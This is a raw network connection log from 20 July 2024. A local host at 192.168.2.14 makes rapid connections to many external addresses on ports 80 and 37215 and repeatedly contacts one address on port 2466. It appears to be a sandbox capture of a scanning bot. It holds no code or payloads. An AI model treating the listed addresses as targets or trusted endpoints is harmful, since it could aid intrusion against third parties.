Jul 20, 2024 23:01:01.780056000 CEST	80	51189	88.147.141.135	192.168.2.14
Jul 20, 2024 23:01:01.780060053 CEST	51189	80	192.168.2.14	88.192.178.48
Jul 20, 2024 23:01:01.780066013 CEST	51189	80	192.168.2.14	88.32.127.243
Jul 20, 2024 23:01:01.780072927 CEST	80	51189	88.173.154.148	192.168.2.14
Jul 20, 2024 23:01:01.780076981 CEST	51189	80	192.168.2.14	88.192.159.101
Jul 20, 2024 23:01:01.780076981 CEST	51189	80	192.168.2.14	88.6.80.52
Jul 20, 2024 23:01:01.780076981 CEST	51189	80	192.168.2.14	88.145.169.141
Jul 20, 2024 23:01:01.780076981 CEST	51189	80	192.168.2.14	88.41.193.251
Jul 20, 2024 23:01:01.780082941 CEST	37215	35292	197.196.172.22	192.168.2.14
Jul 20, 2024 23:01:01.780085087 CEST	51189	80	192.168.2.14	88.147.141.135
Jul 20, 2024 23:01:01.780097008 CEST	80	51189	88.197.62.246	192.168.2.14
Jul 20, 2024 23:01:01.780107021 CEST	80	51189	88.191.93.155	192.168.2.14
Jul 20, 2024 23:01:01.780114889 CEST	80	51189	88.60.36.72	192.168.2.14
Jul 20, 2024 23:01:01.780123949 CEST	80	51189	88.41.74.88	192.168.2.14
Jul 20, 2024 23:01:01.780128002 CEST	51189	80	192.168.2.14	88.197.62.246
Jul 20, 2024 23:01:01.780134916 CEST	51189	80	192.168.2.14	88.201.128.120
Jul 20, 2024 23:01:01.780134916 CEST	80	51189	88.124.204.196	192.168.2.14
Jul 20, 2024 23:01:01.780134916 CEST	51189	80	192.168.2.14	88.231.245.80
Jul 20, 2024 23:01:01.780134916 CEST	51189	80	192.168.2.14	88.173.154.148
Jul 20, 2024 23:01:01.780152082 CEST	80	51189	88.155.76.113	192.168.2.14
Jul 20, 2024 23:01:01.780157089 CEST	51189	80	192.168.2.14	88.41.74.88
Jul 20, 2024 23:01:01.780160904 CEST	80	51189	88.155.140.166	192.168.2.14
Jul 20, 2024 23:01:01.780173063 CEST	80	51189	88.152.137.252	192.168.2.14
Jul 20, 2024 23:01:01.780181885 CEST	80	51189	88.46.157.145	192.168.2.14
Jul 20, 2024 23:01:01.780190945 CEST	80	51189	88.62.46.22	192.168.2.14
Jul 20, 2024 23:01:01.780210972 CEST	51189	80	192.168.2.14	88.46.157.145
Jul 20, 2024 23:01:01.780217886 CEST	51189	80	192.168.2.14	88.62.46.22
Jul 20, 2024 23:01:01.780219078 CEST	51189	80	192.168.2.14	88.152.137.252
Jul 20, 2024 23:01:01.780234098 CEST	80	51189	88.164.95.47	192.168.2.14
Jul 20, 2024 23:01:01.780244112 CEST	80	51189	88.204.119.180	192.168.2.14
Jul 20, 2024 23:01:01.780252934 CEST	80	51189	88.194.157.168	192.168.2.14
Jul 20, 2024 23:01:01.780256033 CEST	51189	80	192.168.2.14	88.142.64.80
Jul 20, 2024 23:01:01.780256987 CEST	51189	80	192.168.2.14	88.240.221.53
Jul 20, 2024 23:01:01.780256987 CEST	51189	80	192.168.2.14	88.229.117.38
Jul 20, 2024 23:01:01.780256987 CEST	51189	80	192.168.2.14	88.229.43.244
Jul 20, 2024 23:01:01.780256987 CEST	51189	80	192.168.2.14	88.155.140.166
Jul 20, 2024 23:01:01.780261040 CEST	80	51189	88.95.143.97	192.168.2.14
Jul 20, 2024 23:01:01.780271053 CEST	80	51189	88.100.30.180	192.168.2.14
Jul 20, 2024 23:01:01.780272007 CEST	51189	80	192.168.2.14	88.196.237.157
Jul 20, 2024 23:01:01.780272007 CEST	51189	80	192.168.2.14	88.60.36.72
Jul 20, 2024 23:01:01.780272007 CEST	51189	80	192.168.2.14	88.155.76.113
Jul 20, 2024 23:01:01.780280113 CEST	80	51189	88.155.254.154	192.168.2.14
Jul 20, 2024 23:01:01.780288935 CEST	80	51189	88.178.180.239	192.168.2.14
Jul 20, 2024 23:01:01.780292034 CEST	51189	80	192.168.2.14	88.191.93.155
Jul 20, 2024 23:01:01.780292034 CEST	51189	80	192.168.2.14	88.124.204.196
Jul 20, 2024 23:01:01.780307055 CEST	80	51189	88.84.45.147	192.168.2.14
Jul 20, 2024 23:01:01.780314922 CEST	80	51189	88.185.96.250	192.168.2.14
Jul 20, 2024 23:01:01.780324936 CEST	80	51189	88.83.47.117	192.168.2.14
Jul 20, 2024 23:01:01.780333042 CEST	80	51189	88.0.57.123	192.168.2.14
Jul 20, 2024 23:01:01.780342102 CEST	80	51189	88.186.184.22	192.168.2.14
Jul 20, 2024 23:01:01.780342102 CEST	51189	80	192.168.2.14	88.178.180.239
Jul 20, 2024 23:01:01.780342102 CEST	51189	80	192.168.2.14	88.185.96.250
Jul 20, 2024 23:01:01.780352116 CEST	80	51189	88.77.33.202	192.168.2.14
Jul 20, 2024 23:01:01.780352116 CEST	51189	80	192.168.2.14	88.164.95.47
Jul 20, 2024 23:01:01.780352116 CEST	51189	80	192.168.2.14	88.100.30.180
Jul 20, 2024 23:01:01.780360937 CEST	80	51189	88.198.162.15	192.168.2.14
Jul 20, 2024 23:01:01.780366898 CEST	51189	80	192.168.2.14	88.204.119.180
Jul 20, 2024 23:01:01.780366898 CEST	51189	80	192.168.2.14	88.95.143.97
Jul 20, 2024 23:01:01.780366898 CEST	51189	80	192.168.2.14	88.84.45.147
Jul 20, 2024 23:01:01.780366898 CEST	51189	80	192.168.2.14	88.83.47.117
Jul 20, 2024 23:01:01.780370951 CEST	80	51189	88.101.212.121	192.168.2.14
Jul 20, 2024 23:01:01.780380011 CEST	80	51189	88.164.127.171	192.168.2.14
Jul 20, 2024 23:01:01.780426979 CEST	80	51189	88.187.192.173	192.168.2.14
Jul 20, 2024 23:01:01.780427933 CEST	51189	80	192.168.2.14	88.186.184.22
Jul 20, 2024 23:01:01.780427933 CEST	51189	80	192.168.2.14	88.164.127.171
Jul 20, 2024 23:01:01.780436039 CEST	80	51189	88.193.65.132	192.168.2.14
Jul 20, 2024 23:01:01.780438900 CEST	51189	80	192.168.2.14	88.0.57.123
Jul 20, 2024 23:01:01.780438900 CEST	51189	80	192.168.2.14	88.101.212.121
Jul 20, 2024 23:01:01.780445099 CEST	80	51189	88.180.95.65	192.168.2.14
Jul 20, 2024 23:01:01.780462980 CEST	80	51189	88.176.163.207	192.168.2.14
Jul 20, 2024 23:01:01.780472040 CEST	80	51189	88.157.24.230	192.168.2.14
Jul 20, 2024 23:01:01.780520916 CEST	51189	80	192.168.2.14	88.77.33.202
Jul 20, 2024 23:01:01.780520916 CEST	51189	80	192.168.2.14	88.157.24.230
Jul 20, 2024 23:01:01.780649900 CEST	80	51189	88.5.187.161	192.168.2.14
Jul 20, 2024 23:01:01.780659914 CEST	80	51189	88.217.155.205	192.168.2.14
Jul 20, 2024 23:01:01.780668974 CEST	80	51189	88.11.193.135	192.168.2.14
Jul 20, 2024 23:01:01.780678988 CEST	80	51189	88.70.117.250	192.168.2.14
Jul 20, 2024 23:01:01.780678988 CEST	51189	80	192.168.2.14	88.5.187.161
Jul 20, 2024 23:01:01.780687094 CEST	80	51189	88.250.40.212	192.168.2.14
Jul 20, 2024 23:01:01.780697107 CEST	80	51189	88.144.22.81	192.168.2.14
Jul 20, 2024 23:01:01.780700922 CEST	51189	80	192.168.2.14	88.193.65.132
Jul 20, 2024 23:01:01.780700922 CEST	51189	80	192.168.2.14	88.176.163.207
Jul 20, 2024 23:01:01.780705929 CEST	80	51189	88.147.149.200	192.168.2.14
Jul 20, 2024 23:01:01.780711889 CEST	51189	80	192.168.2.14	88.70.117.250
Jul 20, 2024 23:01:01.780714989 CEST	80	51189	88.150.235.15	192.168.2.14
Jul 20, 2024 23:01:01.780725956 CEST	51189	80	192.168.2.14	88.194.157.168
Jul 20, 2024 23:01:01.780725956 CEST	51189	80	192.168.2.14	88.155.254.154
Jul 20, 2024 23:01:01.780725956 CEST	51189	80	192.168.2.14	88.187.192.173
Jul 20, 2024 23:01:01.780725956 CEST	51189	80	192.168.2.14	88.217.155.205
Jul 20, 2024 23:01:01.780760050 CEST	51189	80	192.168.2.14	88.150.235.15
Jul 20, 2024 23:01:01.780771017 CEST	80	51189	88.147.227.82	192.168.2.14
Jul 20, 2024 23:01:01.780781031 CEST	80	51189	88.2.47.84	192.168.2.14
Jul 20, 2024 23:01:01.780790091 CEST	80	51189	88.42.97.204	192.168.2.14
Jul 20, 2024 23:01:01.780844927 CEST	51189	80	192.168.2.14	88.198.162.15
Jul 20, 2024 23:01:01.780844927 CEST	51189	80	192.168.2.14	88.11.193.135
Jul 20, 2024 23:01:01.780844927 CEST	51189	80	192.168.2.14	88.147.227.82
Jul 20, 2024 23:01:01.780844927 CEST	51189	80	192.168.2.14	88.42.97.204
Jul 20, 2024 23:01:01.780875921 CEST	80	51189	88.32.86.210	192.168.2.14
Jul 20, 2024 23:01:01.780884981 CEST	80	51189	88.184.61.150	192.168.2.14
Jul 20, 2024 23:01:01.780893087 CEST	80	51189	88.185.29.199	192.168.2.14
Jul 20, 2024 23:01:01.780910969 CEST	51189	80	192.168.2.14	88.32.86.210
Jul 20, 2024 23:01:01.780915022 CEST	51189	80	192.168.2.14	88.184.61.150
Jul 20, 2024 23:01:01.780946016 CEST	51189	80	192.168.2.14	88.180.95.65
Jul 20, 2024 23:01:01.780946016 CEST	51189	80	192.168.2.14	88.250.40.212
Jul 20, 2024 23:01:01.780987978 CEST	80	51189	88.166.196.137	192.168.2.14
Jul 20, 2024 23:01:01.780997038 CEST	80	51189	88.89.159.77	192.168.2.14
Jul 20, 2024 23:01:01.781006098 CEST	80	51189	88.196.177.136	192.168.2.14
Jul 20, 2024 23:01:01.781014919 CEST	80	51189	88.232.61.171	192.168.2.14
Jul 20, 2024 23:01:01.781023979 CEST	51189	80	192.168.2.14	88.166.196.137
Jul 20, 2024 23:01:01.781027079 CEST	51189	80	192.168.2.14	88.196.177.136
Jul 20, 2024 23:01:01.781040907 CEST	51189	80	192.168.2.14	88.89.159.77
Jul 20, 2024 23:01:01.781040907 CEST	51189	80	192.168.2.14	88.232.61.171
Jul 20, 2024 23:01:01.781124115 CEST	51189	80	192.168.2.14	88.147.149.200
Jul 20, 2024 23:01:01.781124115 CEST	51189	80	192.168.2.14	88.185.29.199
Jul 20, 2024 23:01:01.781148911 CEST	80	51189	88.109.50.101	192.168.2.14
Jul 20, 2024 23:01:01.781158924 CEST	80	51189	88.45.154.104	192.168.2.14
Jul 20, 2024 23:01:01.781161070 CEST	51189	80	192.168.2.14	88.144.22.81
Jul 20, 2024 23:01:01.781161070 CEST	51189	80	192.168.2.14	88.2.47.84
Jul 20, 2024 23:01:01.781167030 CEST	80	51189	88.80.145.213	192.168.2.14
Jul 20, 2024 23:01:01.781187057 CEST	51189	80	192.168.2.14	88.109.50.101
Jul 20, 2024 23:01:01.781191111 CEST	51189	80	192.168.2.14	88.45.154.104
Jul 20, 2024 23:01:01.781207085 CEST	51189	80	192.168.2.14	88.80.145.213
Jul 20, 2024 23:01:01.781306028 CEST	80	51189	88.175.246.195	192.168.2.14
Jul 20, 2024 23:01:01.781316042 CEST	80	51189	88.184.86.63	192.168.2.14
Jul 20, 2024 23:01:01.781342983 CEST	51189	80	192.168.2.14	88.175.246.195
Jul 20, 2024 23:01:01.781347036 CEST	51189	80	192.168.2.14	88.184.86.63
Jul 20, 2024 23:01:01.782263041 CEST	35292	37215	192.168.2.14	197.196.172.22
Jul 20, 2024 23:01:01.783128023 CEST	55680	37215	192.168.2.14	197.12.227.51
Jul 20, 2024 23:01:01.784059048 CEST	37548	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:01.784192085 CEST	37548	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:01.787539959 CEST	38436	37215	192.168.2.14	157.52.23.60
Jul 20, 2024 23:01:01.788666010 CEST	37215	55680	197.12.227.51	192.168.2.14
Jul 20, 2024 23:01:01.788748980 CEST	55680	37215	192.168.2.14	197.12.227.51
Jul 20, 2024 23:01:01.789187908 CEST	2466	37548	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:01.789491892 CEST	2466	37548	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:01.790272951 CEST	44016	37215	192.168.2.14	24.34.240.214
Jul 20, 2024 23:01:01.793157101 CEST	37215	38436	157.52.23.60	192.168.2.14
Jul 20, 2024 23:01:01.793204069 CEST	38436	37215	192.168.2.14	157.52.23.60
Jul 20, 2024 23:01:01.793535948 CEST	60728	37215	192.168.2.14	41.26.139.46
Jul 20, 2024 23:01:01.794593096 CEST	37215	55680	197.12.227.51	192.168.2.14
Jul 20, 2024 23:01:01.795830011 CEST	37215	44016	24.34.240.214	192.168.2.14
Jul 20, 2024 23:01:01.796080112 CEST	44016	37215	192.168.2.14	24.34.240.214
Jul 20, 2024 23:01:01.797009945 CEST	48840	37215	192.168.2.14	61.165.104.213
Jul 20, 2024 23:01:01.798274040 CEST	55680	37215	192.168.2.14	197.12.227.51
Jul 20, 2024 23:01:01.798796892 CEST	37215	60728	41.26.139.46	192.168.2.14
Jul 20, 2024 23:01:01.798831940 CEST	60728	37215	192.168.2.14	41.26.139.46
Jul 20, 2024 23:01:01.799514055 CEST	60734	37215	192.168.2.14	197.40.93.165
Jul 20, 2024 23:01:01.801820040 CEST	55560	37215	192.168.2.14	197.81.117.241
Jul 20, 2024 23:01:01.802150011 CEST	37215	48840	61.165.104.213	192.168.2.14
Jul 20, 2024 23:01:01.802642107 CEST	48840	37215	192.168.2.14	61.165.104.213
Jul 20, 2024 23:01:01.803539991 CEST	37215	38436	157.52.23.60	192.168.2.14
Jul 20, 2024 23:01:01.804337025 CEST	42224	37215	192.168.2.14	157.11.56.240
Jul 20, 2024 23:01:01.804599047 CEST	37215	60734	197.40.93.165	192.168.2.14
Jul 20, 2024 23:01:01.804634094 CEST	60734	37215	192.168.2.14	197.40.93.165
Jul 20, 2024 23:01:01.806258917 CEST	38436	37215	192.168.2.14	157.52.23.60
Jul 20, 2024 23:01:01.806296110 CEST	37215	44016	24.34.240.214	192.168.2.14
Jul 20, 2024 23:01:01.807004929 CEST	37215	55560	197.81.117.241	192.168.2.14
Jul 20, 2024 23:01:01.807049036 CEST	55560	37215	192.168.2.14	197.81.117.241
Jul 20, 2024 23:01:01.807277918 CEST	35110	37215	192.168.2.14	197.255.176.169
Jul 20, 2024 23:01:01.809221029 CEST	37215	42224	157.11.56.240	192.168.2.14
Jul 20, 2024 23:01:01.809257030 CEST	42224	37215	192.168.2.14	157.11.56.240
Jul 20, 2024 23:01:01.809659958 CEST	37215	60728	41.26.139.46	192.168.2.14
Jul 20, 2024 23:01:01.810302973 CEST	43282	37215	192.168.2.14	157.135.213.6
Jul 20, 2024 23:01:01.812448025 CEST	37215	35110	197.255.176.169	192.168.2.14
Jul 20, 2024 23:01:01.812479973 CEST	35110	37215	192.168.2.14	197.255.176.169
Jul 20, 2024 23:01:01.814265966 CEST	44016	37215	192.168.2.14	24.34.240.214
Jul 20, 2024 23:01:01.814265966 CEST	60728	37215	192.168.2.14	41.26.139.46
Jul 20, 2024 23:01:01.814285040 CEST	37215	48840	61.165.104.213	192.168.2.14
Jul 20, 2024 23:01:01.814718962 CEST	52176	37215	192.168.2.14	126.166.207.208
Jul 20, 2024 23:01:01.815543890 CEST	37215	43282	157.135.213.6	192.168.2.14
Jul 20, 2024 23:01:01.815583944 CEST	43282	37215	192.168.2.14	157.135.213.6
Jul 20, 2024 23:01:01.817013025 CEST	37215	60734	197.40.93.165	192.168.2.14
Jul 20, 2024 23:01:01.817487001 CEST	37215	55560	197.81.117.241	192.168.2.14
Jul 20, 2024 23:01:01.818506956 CEST	42312	37215	192.168.2.14	41.65.98.19
Jul 20, 2024 23:01:01.819786072 CEST	37215	52176	126.166.207.208	192.168.2.14
Jul 20, 2024 23:01:01.819950104 CEST	52176	37215	192.168.2.14	126.166.207.208
Jul 20, 2024 23:01:01.820228100 CEST	37215	42224	157.11.56.240	192.168.2.14
Jul 20, 2024 23:01:01.820632935 CEST	37215	35110	197.255.176.169	192.168.2.14
Jul 20, 2024 23:01:01.822258949 CEST	55560	37215	192.168.2.14	197.81.117.241
Jul 20, 2024 23:01:01.822258949 CEST	60734	37215	192.168.2.14	197.40.93.165
Jul 20, 2024 23:01:01.822264910 CEST	48840	37215	192.168.2.14	61.165.104.213
Jul 20, 2024 23:01:01.822271109 CEST	35110	37215	192.168.2.14	197.255.176.169
Jul 20, 2024 23:01:01.822271109 CEST	42224	37215	192.168.2.14	157.11.56.240
Jul 20, 2024 23:01:01.822431087 CEST	37174	37215	192.168.2.14	52.155.86.86
Jul 20, 2024 23:01:01.823379993 CEST	37215	43282	157.135.213.6	192.168.2.14
Jul 20, 2024 23:01:01.823698044 CEST	37215	42312	41.65.98.19	192.168.2.14
Jul 20, 2024 23:01:01.823728085 CEST	42312	37215	192.168.2.14	41.65.98.19
Jul 20, 2024 23:01:01.825777054 CEST	37215	52176	126.166.207.208	192.168.2.14
Jul 20, 2024 23:01:01.826384068 CEST	42576	37215	192.168.2.14	197.24.4.235
Jul 20, 2024 23:01:01.827290058 CEST	37215	37174	52.155.86.86	192.168.2.14
Jul 20, 2024 23:01:01.827327013 CEST	37174	37215	192.168.2.14	52.155.86.86
Jul 20, 2024 23:01:01.829267979 CEST	37215	42312	41.65.98.19	192.168.2.14
Jul 20, 2024 23:01:01.829468012 CEST	57162	37215	192.168.2.14	157.137.75.124
Jul 20, 2024 23:01:01.830269098 CEST	42312	37215	192.168.2.14	41.65.98.19
Jul 20, 2024 23:01:01.830272913 CEST	43282	37215	192.168.2.14	157.135.213.6
Jul 20, 2024 23:01:01.830279112 CEST	52176	37215	192.168.2.14	126.166.207.208
Jul 20, 2024 23:01:01.832108974 CEST	37444	37215	192.168.2.14	197.108.206.182
Jul 20, 2024 23:01:01.832258940 CEST	37215	42576	197.24.4.235	192.168.2.14
Jul 20, 2024 23:01:01.832292080 CEST	42576	37215	192.168.2.14	197.24.4.235
Jul 20, 2024 23:01:01.833113909 CEST	37215	37174	52.155.86.86	192.168.2.14
Jul 20, 2024 23:01:01.835838079 CEST	37215	57162	157.137.75.124	192.168.2.14
Jul 20, 2024 23:01:01.835903883 CEST	57162	37215	192.168.2.14	157.137.75.124
Jul 20, 2024 23:01:01.836056948 CEST	53616	37215	192.168.2.14	153.57.57.9
Jul 20, 2024 23:01:01.838282108 CEST	37174	37215	192.168.2.14	52.155.86.86
Jul 20, 2024 23:01:01.838933945 CEST	53792	37215	192.168.2.14	197.95.27.148
Jul 20, 2024 23:01:01.840560913 CEST	37215	37444	197.108.206.182	192.168.2.14
Jul 20, 2024 23:01:01.840598106 CEST	37444	37215	192.168.2.14	197.108.206.182
Jul 20, 2024 23:01:01.841255903 CEST	37215	53616	153.57.57.9	192.168.2.14
Jul 20, 2024 23:01:01.841291904 CEST	53616	37215	192.168.2.14	153.57.57.9
Jul 20, 2024 23:01:01.842046976 CEST	41636	37215	192.168.2.14	157.216.161.59
Jul 20, 2024 23:01:01.842999935 CEST	37215	42576	197.24.4.235	192.168.2.14
Jul 20, 2024 23:01:01.844825983 CEST	59068	37215	192.168.2.14	41.173.192.227
Jul 20, 2024 23:01:01.844902039 CEST	37215	53792	197.95.27.148	192.168.2.14
Jul 20, 2024 23:01:01.844937086 CEST	53792	37215	192.168.2.14	197.95.27.148
Jul 20, 2024 23:01:01.846262932 CEST	42576	37215	192.168.2.14	197.24.4.235
Jul 20, 2024 23:01:01.847230911 CEST	37215	41636	157.216.161.59	192.168.2.14
Jul 20, 2024 23:01:01.847265005 CEST	41636	37215	192.168.2.14	157.216.161.59
Jul 20, 2024 23:01:01.847385883 CEST	55478	37215	192.168.2.14	197.196.31.171
Jul 20, 2024 23:01:01.850210905 CEST	37215	59068	41.173.192.227	192.168.2.14
Jul 20, 2024 23:01:01.850249052 CEST	59068	37215	192.168.2.14	41.173.192.227
Jul 20, 2024 23:01:01.851262093 CEST	46206	37215	192.168.2.14	157.208.127.244
Jul 20, 2024 23:01:01.851881981 CEST	37215	57162	157.137.75.124	192.168.2.14
Jul 20, 2024 23:01:01.852992058 CEST	37215	37444	197.108.206.182	192.168.2.14
Jul 20, 2024 23:01:01.853001118 CEST	37215	55478	197.196.31.171	192.168.2.14
Jul 20, 2024 23:01:01.853034019 CEST	55478	37215	192.168.2.14	197.196.31.171
Jul 20, 2024 23:01:01.853385925 CEST	37215	53616	153.57.57.9	192.168.2.14
Jul 20, 2024 23:01:01.854265928 CEST	37444	37215	192.168.2.14	197.108.206.182
Jul 20, 2024 23:01:01.854269981 CEST	57162	37215	192.168.2.14	157.137.75.124
Jul 20, 2024 23:01:01.854360104 CEST	53616	37215	192.168.2.14	153.57.57.9
Jul 20, 2024 23:01:01.854851961 CEST	57200	37215	192.168.2.14	157.20.249.180
Jul 20, 2024 23:01:01.858419895 CEST	37215	53792	197.95.27.148	192.168.2.14
Jul 20, 2024 23:01:01.858438015 CEST	37215	41636	157.216.161.59	192.168.2.14
Jul 20, 2024 23:01:01.858802080 CEST	37215	59068	41.173.192.227	192.168.2.14
Jul 20, 2024 23:01:01.858928919 CEST	37215	46206	157.208.127.244	192.168.2.14
Jul 20, 2024 23:01:01.859046936 CEST	59604	37215	192.168.2.14	41.99.10.85
Jul 20, 2024 23:01:01.859153986 CEST	46206	37215	192.168.2.14	157.208.127.244
Jul 20, 2024 23:01:01.860547066 CEST	37215	55478	197.196.31.171	192.168.2.14
Jul 20, 2024 23:01:01.862538099 CEST	37215	57200	157.20.249.180	192.168.2.14
Jul 20, 2024 23:01:01.862574100 CEST	57200	37215	192.168.2.14	157.20.249.180
Jul 20, 2024 23:01:01.863219976 CEST	32986	37215	192.168.2.14	32.244.217.115
Jul 20, 2024 23:01:01.865317106 CEST	55730	37215	192.168.2.14	37.110.59.42
Jul 20, 2024 23:01:01.865794897 CEST	37215	59604	41.99.10.85	192.168.2.14
Jul 20, 2024 23:01:01.865828037 CEST	59604	37215	192.168.2.14	41.99.10.85
Jul 20, 2024 23:01:01.866265059 CEST	59068	37215	192.168.2.14	41.173.192.227
Jul 20, 2024 23:01:01.866269112 CEST	41636	37215	192.168.2.14	157.216.161.59
Jul 20, 2024 23:01:01.866270065 CEST	53792	37215	192.168.2.14	197.95.27.148
Jul 20, 2024 23:01:01.866663933 CEST	55478	37215	192.168.2.14	197.196.31.171
Jul 20, 2024 23:01:01.868107080 CEST	51150	37215	192.168.2.14	41.188.32.205
Jul 20, 2024 23:01:01.870893002 CEST	41482	37215	192.168.2.14	157.88.41.229
Jul 20, 2024 23:01:01.872534037 CEST	37215	32986	32.244.217.115	192.168.2.14
Jul 20, 2024 23:01:01.872725010 CEST	32986	37215	192.168.2.14	32.244.217.115
Jul 20, 2024 23:01:01.873728037 CEST	52068	37215	192.168.2.14	157.245.238.163
Jul 20, 2024 23:01:01.874238014 CEST	37215	55730	37.110.59.42	192.168.2.14
Jul 20, 2024 23:01:01.874272108 CEST	55730	37215	192.168.2.14	37.110.59.42
Jul 20, 2024 23:01:01.876316071 CEST	37215	51150	41.188.32.205	192.168.2.14
Jul 20, 2024 23:01:01.876342058 CEST	51150	37215	192.168.2.14	41.188.32.205
Jul 20, 2024 23:01:01.877089977 CEST	47794	37215	192.168.2.14	197.232.128.49
Jul 20, 2024 23:01:01.878678083 CEST	37215	41482	157.88.41.229	192.168.2.14
Jul 20, 2024 23:01:01.878710032 CEST	41482	37215	192.168.2.14	157.88.41.229
Jul 20, 2024 23:01:01.879051924 CEST	37215	52068	157.245.238.163	192.168.2.14
Jul 20, 2024 23:01:01.879086971 CEST	52068	37215	192.168.2.14	157.245.238.163
Jul 20, 2024 23:01:01.880738974 CEST	45158	37215	192.168.2.14	41.122.12.187
Jul 20, 2024 23:01:01.882200003 CEST	50160	37215	192.168.2.14	41.243.57.159
Jul 20, 2024 23:01:01.882430077 CEST	37215	47794	197.232.128.49	192.168.2.14
Jul 20, 2024 23:01:01.883255959 CEST	47794	37215	192.168.2.14	197.232.128.49
Jul 20, 2024 23:01:01.884634972 CEST	53052	37215	192.168.2.14	124.232.166.233
Jul 20, 2024 23:01:01.885935068 CEST	37215	45158	41.122.12.187	192.168.2.14
Jul 20, 2024 23:01:01.885977030 CEST	45158	37215	192.168.2.14	41.122.12.187
Jul 20, 2024 23:01:01.886970997 CEST	45018	37215	192.168.2.14	50.0.188.147
Jul 20, 2024 23:01:01.887222052 CEST	37215	50160	41.243.57.159	192.168.2.14
Jul 20, 2024 23:01:01.887254000 CEST	50160	37215	192.168.2.14	41.243.57.159
Jul 20, 2024 23:01:01.889295101 CEST	59868	37215	192.168.2.14	118.0.129.46
Jul 20, 2024 23:01:01.890408993 CEST	37215	53052	124.232.166.233	192.168.2.14
Jul 20, 2024 23:01:01.890449047 CEST	53052	37215	192.168.2.14	124.232.166.233
Jul 20, 2024 23:01:01.891956091 CEST	37215	45018	50.0.188.147	192.168.2.14
Jul 20, 2024 23:01:01.891993046 CEST	45018	37215	192.168.2.14	50.0.188.147
Jul 20, 2024 23:01:01.892117977 CEST	57334	37215	192.168.2.14	157.136.249.217
Jul 20, 2024 23:01:01.894550085 CEST	54852	37215	192.168.2.14	197.30.62.141
Jul 20, 2024 23:01:01.894942999 CEST	37215	59868	118.0.129.46	192.168.2.14
Jul 20, 2024 23:01:01.894979954 CEST	59868	37215	192.168.2.14	118.0.129.46
Jul 20, 2024 23:01:01.896605968 CEST	35070	37215	192.168.2.14	141.92.189.24
Jul 20, 2024 23:01:01.897548914 CEST	37215	57334	157.136.249.217	192.168.2.14
Jul 20, 2024 23:01:01.897582054 CEST	57334	37215	192.168.2.14	157.136.249.217
Jul 20, 2024 23:01:01.898550987 CEST	40624	37215	192.168.2.14	157.92.46.65
Jul 20, 2024 23:01:01.899719000 CEST	37215	54852	197.30.62.141	192.168.2.14
Jul 20, 2024 23:01:01.899750948 CEST	54852	37215	192.168.2.14	197.30.62.141
Jul 20, 2024 23:01:01.900635004 CEST	48950	37215	192.168.2.14	197.136.233.151
Jul 20, 2024 23:01:01.901590109 CEST	37215	35070	141.92.189.24	192.168.2.14
Jul 20, 2024 23:01:01.901619911 CEST	35070	37215	192.168.2.14	141.92.189.24
Jul 20, 2024 23:01:01.902936935 CEST	49258	37215	192.168.2.14	117.157.75.129
Jul 20, 2024 23:01:01.903928041 CEST	37215	40624	157.92.46.65	192.168.2.14
Jul 20, 2024 23:01:01.903959990 CEST	40624	37215	192.168.2.14	157.92.46.65
Jul 20, 2024 23:01:01.905574083 CEST	37215	48950	197.136.233.151	192.168.2.14
Jul 20, 2024 23:01:01.906835079 CEST	48950	37215	192.168.2.14	197.136.233.151
Jul 20, 2024 23:01:01.908056974 CEST	37215	49258	117.157.75.129	192.168.2.14
Jul 20, 2024 23:01:01.927118063 CEST	49258	37215	192.168.2.14	117.157.75.129
Jul 20, 2024 23:01:01.929172039 CEST	37215	46206	157.208.127.244	192.168.2.14
Jul 20, 2024 23:01:01.948112965 CEST	37215	59604	41.99.10.85	192.168.2.14
Jul 20, 2024 23:01:01.957230091 CEST	37215	32986	32.244.217.115	192.168.2.14
Jul 20, 2024 23:01:01.957643986 CEST	37215	55730	37.110.59.42	192.168.2.14
Jul 20, 2024 23:01:01.961035013 CEST	37215	51150	41.188.32.205	192.168.2.14
Jul 20, 2024 23:01:01.962415934 CEST	37215	41482	157.88.41.229	192.168.2.14
Jul 20, 2024 23:01:01.964329004 CEST	37215	52068	157.245.238.163	192.168.2.14
Jul 20, 2024 23:01:01.975557089 CEST	37215	47794	197.232.128.49	192.168.2.14
Jul 20, 2024 23:01:01.977786064 CEST	37215	45158	41.122.12.187	192.168.2.14
Jul 20, 2024 23:01:01.980319977 CEST	37215	50160	41.243.57.159	192.168.2.14
Jul 20, 2024 23:01:01.982479095 CEST	37215	53052	124.232.166.233	192.168.2.14
Jul 20, 2024 23:01:01.983735085 CEST	37215	45018	50.0.188.147	192.168.2.14
Jul 20, 2024 23:01:01.987323046 CEST	37215	59868	118.0.129.46	192.168.2.14
Jul 20, 2024 23:01:01.988723993 CEST	37215	57334	157.136.249.217	192.168.2.14
Jul 20, 2024 23:01:01.991254091 CEST	37215	54852	197.30.62.141	192.168.2.14
Jul 20, 2024 23:01:01.991666079 CEST	37215	35070	141.92.189.24	192.168.2.14
Jul 20, 2024 23:01:01.993134022 CEST	37215	40624	157.92.46.65	192.168.2.14
Jul 20, 2024 23:01:01.994407892 CEST	37215	48950	197.136.233.151	192.168.2.14
Jul 20, 2024 23:01:01.994863033 CEST	37215	49258	117.157.75.129	192.168.2.14
Jul 20, 2024 23:01:01.998364925 CEST	49258	37215	192.168.2.14	117.157.75.129
Jul 20, 2024 23:01:02.000761986 CEST	46206	37215	192.168.2.14	157.208.127.244
Jul 20, 2024 23:01:02.011101007 CEST	50160	37215	192.168.2.14	41.243.57.159
Jul 20, 2024 23:01:02.013892889 CEST	32986	37215	192.168.2.14	32.244.217.115
Jul 20, 2024 23:01:02.017748117 CEST	59868	37215	192.168.2.14	118.0.129.46
Jul 20, 2024 23:01:02.022113085 CEST	57334	37215	192.168.2.14	157.136.249.217
Jul 20, 2024 23:01:02.022113085 CEST	40624	37215	192.168.2.14	157.92.46.65
Jul 20, 2024 23:01:02.032186985 CEST	55730	37215	192.168.2.14	37.110.59.42
Jul 20, 2024 23:01:02.032799959 CEST	51150	37215	192.168.2.14	41.188.32.205
Jul 20, 2024 23:01:02.033528090 CEST	35070	37215	192.168.2.14	141.92.189.24
Jul 20, 2024 23:01:02.033528090 CEST	54852	37215	192.168.2.14	197.30.62.141
Jul 20, 2024 23:01:02.034435034 CEST	59604	37215	192.168.2.14	41.99.10.85
Jul 20, 2024 23:01:02.037508965 CEST	40822	37215	192.168.2.14	41.121.47.232
